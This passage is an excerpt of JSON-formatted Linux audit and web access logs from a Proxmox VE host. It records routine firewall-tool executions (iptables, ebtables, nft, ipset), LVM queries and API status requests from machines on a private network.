egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065361,"@rawstring":"node=pve type=EXECVE msg=audit(1781966065.361:68284): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965266125,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965266.125:64882): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe4eabd670 a1=61ced88581c0 a2=61ced8836680 a3=5 items=1 ppid=62330 pid=62331 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964055479,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964055.479:59397): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ed5d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57047 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065429,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966065.429:68296): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0f53f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65587 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781964455260,"@rawstring":"node=pve type=EXECVE msg=audit(1781964455.260:61082): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965290163,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:21:28 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1101"} {"@timestamp":1781964586084,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964586.084:61661): arch=c000003e syscall=59 success=no exit=-2 a0=7ffef68dd140 a1=5fc13d534310 a2=5fc13d52d680 a3=5 items=1 ppid=59189 pid=59190 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065347,"@rawstring":"node=pve type=EXECVE msg=audit(1781966065.347:68283): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965266036,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965266.036:64864): arch=c000003e syscall=59 success=no exit=-2 a0=7ffda627f770 a1=64c2d3e8b410 a2=64c2d3e69680 a3=5 items=1 ppid=62311 pid=62312 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964055474,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964055.474:59396): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae45e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57046 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065421,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966065.421:68295): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc1394d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65586 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964454431,"@rawstring":"node=pve type=EXECVE msg=audit(1781964454.431:61081): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965288616,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:21:28 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 502"} {"@timestamp":1781964586006,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964586.006:61643): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc46193b90 a1=57c914d0b310 a2=57c914d04680 a3=5 items=1 ppid=59170 pid=59171 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065340,"@rawstring":"node=pve type=EXECVE msg=audit(1781966065.340:68282): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965262358,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965262.358:64854): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62301 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964055466,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964055.466:59395): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57045 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065412,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966065.412:68294): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc14a390 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65585 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964454423,"@rawstring":"node=pve type=EXECVE msg=audit(1781964454.423:61077): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965288616,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:27 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 916"} {"@timestamp":1781964584930,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964584.930:61635): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59164 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065335,"@rawstring":"node=pve type=EXECVE msg=audit(1781966065.335:68281): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965262358,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965262.358:64853): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62301 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964055458,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964055.458:59394): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57044 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065406,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966065.406:68293): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1466a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65584 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964454421,"@rawstring":"node=pve type=EXECVE msg=audit(1781964454.421:61078): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965288616,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:27 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964584930,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964584.930:61634): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59164 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065323,"@rawstring":"node=pve type=EXECVE msg=audit(1781966065.323:68280): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965262350,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965262.350:64851): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62300 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964055454,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964055.454:59393): arch=c000003e syscall=59 success=yes exit=0 a0=5e32779540a0 a1=5e3277950e20 a2=5e3277932680 a3=5 items=2 ppid=57037 pid=57043 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065399,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966065.399:68292): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc14a390 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65583 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964454394,"@rawstring":"node=pve type=EXECVE msg=audit(1781964454.394:61074): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965288616,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:27 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 504"} {"@timestamp":1781964584922,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964584.922:61632): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59163 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065315,"@rawstring":"node=pve type=EXECVE msg=audit(1781966065.315:68279): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965262350,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965262.350:64850): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62300 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964055451,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964055.451:59392): arch=c000003e syscall=59 success=yes exit=0 a0=5e323ed62ac8 a1=7ffc51259360 a2=5e3277932680 a3=5e323ed4624e items=2 ppid=57037 pid=57039 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065393,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966065.393:68291): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb60f1e80 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65582 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964449412,"@rawstring":"node=pve type=EXECVE msg=audit(1781964449.412:61073): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965287131,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:21:25 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1101"} {"@timestamp":1781964584922,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964584.922:61631): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59163 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065262,"@rawstring":"node=pve type=EXECVE msg=audit(1781966065.262:68278): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965257339,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965257.339:64848): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62297 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964055450,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964055.450:59391): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc51259320 a1=5e3277939310 a2=5e3277932680 a3=5 items=2 ppid=57037 pid=57038 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065381,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966065.381:68290): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65581 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964449405,"@rawstring":"node=pve type=EXECVE msg=audit(1781964449.405:61070): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965286131,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:25 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 924"} {"@timestamp":1781964579911,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964579.911:61627): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59158 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065253,"@rawstring":"node=pve type=EXECVE msg=audit(1781966065.253:68275): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965257339,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965257.339:64847): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62297 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964055446,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964055.446:59389): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=57037 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065374,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966065.374:68289): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65580 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964445248,"@rawstring":"node=pve type=EXECVE msg=audit(1781964445.248:61067): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965286131,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:25 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1099"} {"@timestamp":1781964579911,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964579.911:61626): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59158 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966064253,"@rawstring":"node=pve type=EXECVE msg=audit(1781966064.253:68272): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965257333,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965257.333:64845): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62296 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964055438,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964055.438:59388): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57036 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065370,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966065.370:68288): arch=c000003e syscall=59 success=yes exit=0 a0=64b50fb6e0a0 a1=64b50fb6ae20 a2=64b50fb4c680 a3=5 items=2 ppid=65573 pid=65579 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964445245,"@rawstring":"node=pve type=EXECVE msg=audit(1781964445.245:61066): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965286131,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:21:24 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 501"} {"@timestamp":1781964579900,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964579.900:61624): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59157 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966064226,"@rawstring":"node=pve type=EXECVE msg=audit(1781966064.226:68271): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965257333,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965257.333:64844): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62296 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964055430,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964055.430:59387): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57035 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065367,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966065.367:68287): arch=c000003e syscall=59 success=yes exit=0 a0=64b4f3a56ac8 a1=7ffd642365c0 a2=64b50fb4c680 a3=64b4f3a3a24e items=2 ppid=65573 pid=65575 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964445244,"@rawstring":"node=pve type=EXECVE msg=audit(1781964445.244:61065): argc=1 a0=\"date\""} {"@timestamp":1781965283993,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:23 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 921"} {"@timestamp":1781964579900,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964579.900:61623): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59157 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966060243,"@rawstring":"node=pve type=EXECVE msg=audit(1781966060.243:68270): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965255978,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965255.978:64840): arch=c000003e syscall=59 success=no exit=-2 a0=7fffbd9b2150 a1=5b2a8cb623d0 a2=5b2a8cb40680 a3=5 items=1 ppid=62289 pid=62290 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964055425,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964055.425:59386): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb82ddca0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57034 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065366,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966065.366:68286): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd64236580 a1=64b50fb53310 a2=64b50fb4c680 a3=5 items=2 ppid=65573 pid=65574 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964445239,"@rawstring":"node=pve type=EXECVE msg=audit(1781964445.239:61063): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965283993,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:23 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964575957,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964575.957:61616): arch=c000003e syscall=59 success=no exit=-2 a0=7ffeaa693150 a1=60845ecf43d0 a2=60845ecd2680 a3=5 items=1 ppid=59145 pid=59146 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966060232,"@rawstring":"node=pve type=EXECVE msg=audit(1781966060.232:68267): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965255887,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965255.887:64822): arch=c000003e syscall=59 success=no exit=-2 a0=7ffef2d44c80 a1=64d287d09310 a2=64d287d02680 a3=5 items=1 ppid=62270 pid=62271 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} 